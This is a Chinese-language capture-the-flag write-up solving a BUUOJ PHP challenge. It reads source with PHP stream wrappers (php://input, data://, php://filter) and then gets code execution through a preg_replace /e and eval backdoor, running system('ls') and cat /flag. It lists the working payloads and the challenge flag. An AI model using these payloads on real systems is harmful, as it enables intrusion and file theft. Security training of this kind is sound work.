这篇wp是笔者第一篇文章,然后也不是正经的程序出身,目前是个小产品啦。如wp有问题,还得麻烦各位代佬多多指点。
题目
首先,点击buuoj这个网站,然后在练习场-->题目列表中去搜索该题目:
之后,点击这道题,开启靶场。
审计
通过靶机的地址,我们先来审计一下代码。
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
根据代码:
- 传入的
text需要等于I have a dream字符 file不能包含flag字符,以防通过/flag直接拿到了这个flag- 存在一个注释,内容为
next.php,那么会不会需要伪协议去拿到这个php文件的源码呢?
伪协议
在PHP中,伪协议(也称为流包装器或伪流协议)是预定义的流封装协议,允许你通过类似于文件系统的操作方式来访问各种类型的资源。PHP提供了多种内置的流包装器,供你在诸如 fopen()、file_get_contents()、file_put_contents() 等文件系统函数中使用。
一些常见的PHP伪协议包括:
-
file://- 访问文件系统。 -
http://和https://- 通过HTTP或HTTPS协议访问网页资源。 -
ftp://- 通过FTP协议访问文件资源。 -
data://- 将数据以字符串的方式内嵌在代码中。data://[mediatype][;base64],[data]mediatype是一个 MIME 类型,说明了数据的类型。譬如,文本会使用text/plain,图片可能使用image/png或image/jpeg。base64是一个可选的项,如果你想对数据进行 base64 编码,将会添加;base64。data是实际的数据部分。
-
php://- 访问各种I/O流,例如:-
php://input- 读取原始的POST数据。 -
php://output- 写操作会发送到输出缓冲区。 -
php://stdin、php://stdout和php://stderr- 分别代表输入流、输出流和错误流。 -
php://filter- 用来对流进行过滤的元封装器- 格式:
php://filter/read=filtername/resource=pathnameread=filtername:指定你想要应用的读取过滤器名称。resource=pathname:指定你想要应用过滤器的资源路径。
- 格式:
-
使用伪协议时,你可以像操作文件那样读取或写入数据流。例如,可以使用 file_get_contents('php://input') 读取原始POST请求的内容,或者使用 file_put_contents('php://output', $data) 来输出数据。
那么回到这道题中,text其实是可以有2种方式:
- php://input
- data://text/plain, [data]
不管采用哪种方式,我们传的值都是I have a dream。
尝试
根据上方目前审计出来的结果,通过靶场地址以及Burp Suite软件的支持,开始尝试一番。
第一种:php://input
payload:?text=php://input
打开代理:
之后,就能在bp中查看到拦截的信息了:
通过右键,我们把这玩意儿发送到
repeater里,之后就开始愉快的玩耍吧。
如此一来,直接传入I have a dream,结果如下图所示:
在响应侧,确确实实把$text的值输出出来了。
那么,接下来就是去制造将要去读取的目标文件file参数了。那,如果file包含了flag字符呢?最终的结果会是:
如上图,也的确将Not now!打印出来了。
接着继续来构造,通过伪协议php://filter,此时需要使用 Base64 编码过滤器,好处是在于可以绕过安全限制以及转换数据来传输和显示:
之后,就能够看到这个64编码的东东喽。
通过Base64 在线编码解码,将这个Base64解个密,会得到以下代码。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
前两行代码应该都能够看得懂了,主要直接进入complex函数中。
- 函数使用
preg_replace函数来进行正则表达式的匹配和替换。其中,'/(' . $re . ')/ei'是正则表达式模式,而$re是动态拼接的正则表达式。 e修饰符(在 PHP 5.5.0 中已废弃,并在 PHP 7.0.0 中被移除)使得替换字符串中的strtolower("\1")被作为 PHP 代码执行。i修饰符使得正则表达式匹配时不区分大小写。strtolower("\1")的目的是捕获匹配的字符串,并将它转换为小写。
接下来,就制造一下payload:
?\S*=${getFlag()}&cmd=system('ls');
-
?\S*=是查询字符串的开始,它试图利用complex函数里的preg_replace函数。\S*会匹配任意数量的非空白字符,确保无论传递给preg_replace的正则表达式是什么,它都能匹配。 -
${getFlag()}是一个动态表达式,在 PHP 中,它会被解析为调用getFlag函数。由于preg_replace中的e修饰符被使用,这个函数会被执行。 -
&cmd=system('ls');这部分采用的是 URL 参数的形式,由于 URL 后面跟着的cmd参数值将会被传递给getFlag函数中的@eval($_GET['cmd']);表达式执行,这就允许执行任意代码。
如此一来,我们就通过命令列出目录内容了。
但显然,当前目录内容中,并没有发现我们想要的flag内容,那么在试着ls%20/。
注意在bp构造payload中,空格一律用%20替代。
果然,存在一个flag文件,那么就直接cat一下:
最终,拿到了
flag:
flag{7167bd7b-decf-4085-b773-75e72fdca2c3}
bp软件中payload为:
/next.php?\S*=${getFlag()}&cmd=system('cat%20/flag');
第二种:data://text/plain, [data]
还是重复之前的步骤,不过是将php://input的位置换成这个data://text/plain,以及一定要注意[data]的时候不是只写I have a dream就完事了,而是写成:I%20have%20a%20dream。
接下来就跟
php://input是一模一样的了。
用到的payload
/?text=php://input&file=php://filter/read=convert.Base64-encode/resource=next.php
/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.Base64-encode/resource=next.php
/next.php?\S*=${getFlag()}&cmd=system('ls');
/next.php?\S*=${getFlag()}&cmd=system('ls%20/');
/next.php?\S*=${getFlag()}&cmd=system('cat%20/flag');
最终flag
flag{7167bd7b-decf-4085-b773-75e72fdca2c3}